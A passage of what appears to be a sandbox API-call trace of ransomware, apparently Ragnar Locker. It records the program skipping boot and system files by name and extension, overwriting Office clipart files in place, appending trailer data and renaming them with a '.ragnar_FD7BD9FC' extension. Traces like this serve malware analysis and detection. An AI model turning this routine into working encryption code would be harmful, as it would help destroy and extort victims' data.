nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.733] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.733] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.735] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.735] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.735] GetProcessHeap () returned 0x580000 [0089.735] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.735] CloseHandle (hObject=0xf4) returned 1 [0089.735] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF" [0089.735] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF.ragnar_FD7BD9FC" [0089.735] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02293_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02293_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.736] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x406e600, ftCreationTime.dwHighDateTime=0x1bf3a32, ftLastAccessTime.dwLowDateTime=0x6cd8b0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x406e600, ftLastWriteTime.dwHighDateTime=0x1bf3a32, nFileSizeHigh=0x0, nFileSizeLow=0x5328, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02296_.WMF", cAlternateFileName="")) returned 1 [0089.736] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.736] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE02296_.WMF" | out: lpString1="PE02296_.WMF") returned="PE02296_.WMF" [0089.736] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF") returned=".WMF" [0089.736] lstrcmpiW (lpString1="PE02296_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.736] lstrcmpiW (lpString1="PE02296_.WMF", lpString2="autorun.inf") returned 1 [0089.736] lstrcmpiW (lpString1="PE02296_.WMF", lpString2="boot.ini") returned 1 [0089.736] lstrcmpiW (lpString1="PE02296_.WMF", lpString2="bootfont.bin") returned 1 [0089.736] lstrcmpiW (lpString1="PE02296_.WMF", lpString2="bootsect.bak") returned 1 [0089.736] lstrcmpiW (lpString1="PE02296_.WMF", lpString2="bootmgr") returned 1 [0089.736] lstrcmpiW (lpString1="PE02296_.WMF", lpString2="bootmgr.efi") returned 1 [0089.736] lstrcmpiW (lpString1="PE02296_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.736] lstrcmpiW (lpString1="PE02296_.WMF", lpString2="desktop.ini") returned 1 [0089.736] lstrcmpiW (lpString1="PE02296_.WMF", lpString2="iconcache.db") returned 1 [0089.737] lstrcmpiW (lpString1="PE02296_.WMF", lpString2="ntldr") returned 1 [0089.737] lstrcmpiW (lpString1="PE02296_.WMF", lpString2="ntuser.dat") returned 1 [0089.737] lstrcmpiW (lpString1="PE02296_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.737] lstrcmpiW (lpString1="PE02296_.WMF", lpString2="ntuser.ini") returned 1 [0089.737] lstrcmpiW (lpString1="PE02296_.WMF", lpString2="thumbs.db") returned -1 [0089.737] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.737] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.737] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.737] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.737] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.737] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.737] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf")) returned 0x20 [0089.737] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.737] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=21288) returned 1 [0089.737] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x531f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.737] GetProcessHeap () returned 0x580000 [0089.737] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.738] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.740] VirtualAlloc (lpAddress=0x0, dwSize=0x5328, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.740] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.740] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.740] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5328, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5328, lpOverlapped=0x0) returned 1 [0089.741] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.741] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5328, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.741] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5328, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5328, lpOverlapped=0x0) returned 1 [0089.741] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5328, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.741] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.742] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x5328, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.742] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.742] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.742] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.742] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.742] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.742] GetProcessHeap () returned 0x580000 [0089.742] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.742] CloseHandle (hObject=0xf4) returned 1 [0089.742] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF" [0089.742] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF.ragnar_FD7BD9FC" [0089.742] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02296_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02296_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.743] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf911f00, ftCreationTime.dwHighDateTime=0x1bd4b16, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcf911f00, ftLastWriteTime.dwHighDateTime=0x1bd4b16, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02369_.WMF", cAlternateFileName="")) returned 1 [0089.743] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.743] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE02369_.WMF" | out: lpString1="PE02369_.WMF") returned="PE02369_.WMF" [0089.743] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF") returned=".WMF" [0089.743] lstrcmpiW (lpString1="PE02369_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.743] lstrcmpiW (lpString1="PE02369_.WMF", lpString2="autorun.inf") returned 1 [0089.743] lstrcmpiW (lpString1="PE02369_.WMF", lpString2="boot.ini") returned 1 [0089.743] lstrcmpiW (lpString1="PE02369_.WMF", lpString2="bootfont.bin") returned 1 [0089.743] lstrcmpiW (lpString1="PE02369_.WMF", lpString2="bootsect.bak") returned 1 [0089.743] lstrcmpiW (lpString1="PE02369_.WMF", lpString2="bootmgr") returned 1 [0089.743] lstrcmpiW (lpString1="PE02369_.WMF", lpString2="bootmgr.efi") returned 1 [0089.743] lstrcmpiW (lpString1="PE02369_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.743] lstrcmpiW (lpString1="PE02369_.WMF", lpString2="desktop.ini") returned 1 [0089.743] lstrcmpiW (lpString1="PE02369_.WMF", lpString2="iconcache.db") returned 1 [0089.743] lstrcmpiW (lpString1="PE02369_.WMF", lpString2="ntldr") returned 1 [0089.743] lstrcmpiW (lpString1="PE02369_.WMF", lpString2="ntuser.dat") returned 1 [0089.743] lstrcmpiW (lpString1="PE02369_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.743] lstrcmpiW (lpString1="PE02369_.WMF", lpString2="ntuser.ini") returned 1 [0089.743] lstrcmpiW (lpString1="PE02369_.WMF", lpString2="thumbs.db") returned -1 [0089.743] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.743] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.744] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.744] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.744] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.744] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.744] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.744] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf")) returned 0x20 [0089.744] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.744] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=2240) returned 1 [0089.744] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8b7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.744] GetProcessHeap () returned 0x580000 [0089.744] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.744] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.747] VirtualAlloc (lpAddress=0x0, dwSize=0x8c0, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.747] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.747] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.747] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x8c0, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x8c0, lpOverlapped=0x0) returned 1 [0089.747] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.747] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8c0, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.747] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x8c0, lpOverlapped=0x0) returned 1 [0089.747] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8c0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.747] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.748] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x8c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.748] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.748] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.748] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.748] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0089.748] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.748] GetProcessHeap () returned 0x580000 [0089.748] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0089.748] CloseHandle (hObject=0xf4) returned 1 [0089.748] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF" [0089.748] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF.ragnar_FD7BD9FC" [0089.748] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02369_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02369_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0089.749] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa494d400, ftCreationTime.dwHighDateTime=0x1bd4af2, ftLastAccessTime.dwLowDateTime=0x59cdb0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa494d400, ftLastWriteTime.dwHighDateTime=0x1bd4af2, nFileSizeHigh=0x0, nFileSizeLow=0x39f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PE02522_.WMF", cAlternateFileName="")) returned 1 [0089.749] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0089.749] lstrcpyW (in: lpString1=0x1eb62e, lpString2="PE02522_.WMF" | out: lpString1="PE02522_.WMF") returned="PE02522_.WMF" [0089.749] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF") returned=".WMF" [0089.749] lstrcmpiW (lpString1="PE02522_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0089.749] lstrcmpiW (lpString1="PE02522_.WMF", lpString2="autorun.inf") returned 1 [0089.749] lstrcmpiW (lpString1="PE02522_.WMF", lpString2="boot.ini") returned 1 [0089.749] lstrcmpiW (lpString1="PE02522_.WMF", lpString2="bootfont.bin") returned 1 [0089.749] lstrcmpiW (lpString1="PE02522_.WMF", lpString2="bootsect.bak") returned 1 [0089.749] lstrcmpiW (lpString1="PE02522_.WMF", lpString2="bootmgr") returned 1 [0089.749] lstrcmpiW (lpString1="PE02522_.WMF", lpString2="bootmgr.efi") returned 1 [0089.749] lstrcmpiW (lpString1="PE02522_.WMF", lpString2="bootmgfw.efi") returned 1 [0089.749] lstrcmpiW (lpString1="PE02522_.WMF", lpString2="desktop.ini") returned 1 [0089.749] lstrcmpiW (lpString1="PE02522_.WMF", lpString2="iconcache.db") returned 1 [0089.749] lstrcmpiW (lpString1="PE02522_.WMF", lpString2="ntldr") returned 1 [0089.749] lstrcmpiW (lpString1="PE02522_.WMF", lpString2="ntuser.dat") returned 1 [0089.750] lstrcmpiW (lpString1="PE02522_.WMF", lpString2="ntuser.dat.log") returned 1 [0089.750] lstrcmpiW (lpString1="PE02522_.WMF", lpString2="ntuser.ini") returned 1 [0089.750] lstrcmpiW (lpString1="PE02522_.WMF", lpString2="thumbs.db") returned -1 [0089.750] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0089.750] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0089.750] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0089.750] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0089.750] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0089.750] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0089.750] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0089.750] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf")) returned 0x20 [0089.750] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PE02522_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\pe02522_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0089.750] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14840) returned 1 [0089.750] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x39ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.750] GetProcessHeap () returned 0x580000 [0089.750] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0089.750] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0089.752] VirtualAlloc (lpAddress=0x0, dwSize=0x39f8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0089.752] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.752] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0089.752] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x39f8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x39f8, lpOverlapped=0x0) returned 1 [0089.753] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0089.753] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x39f8, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.753] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x39f8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x39f8, lpOverlapped=0x0) returned 1 [0089.754] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x39f8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0089.754] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0089.754] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x39f8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.754] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0089.754] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.754] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0089.754] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, 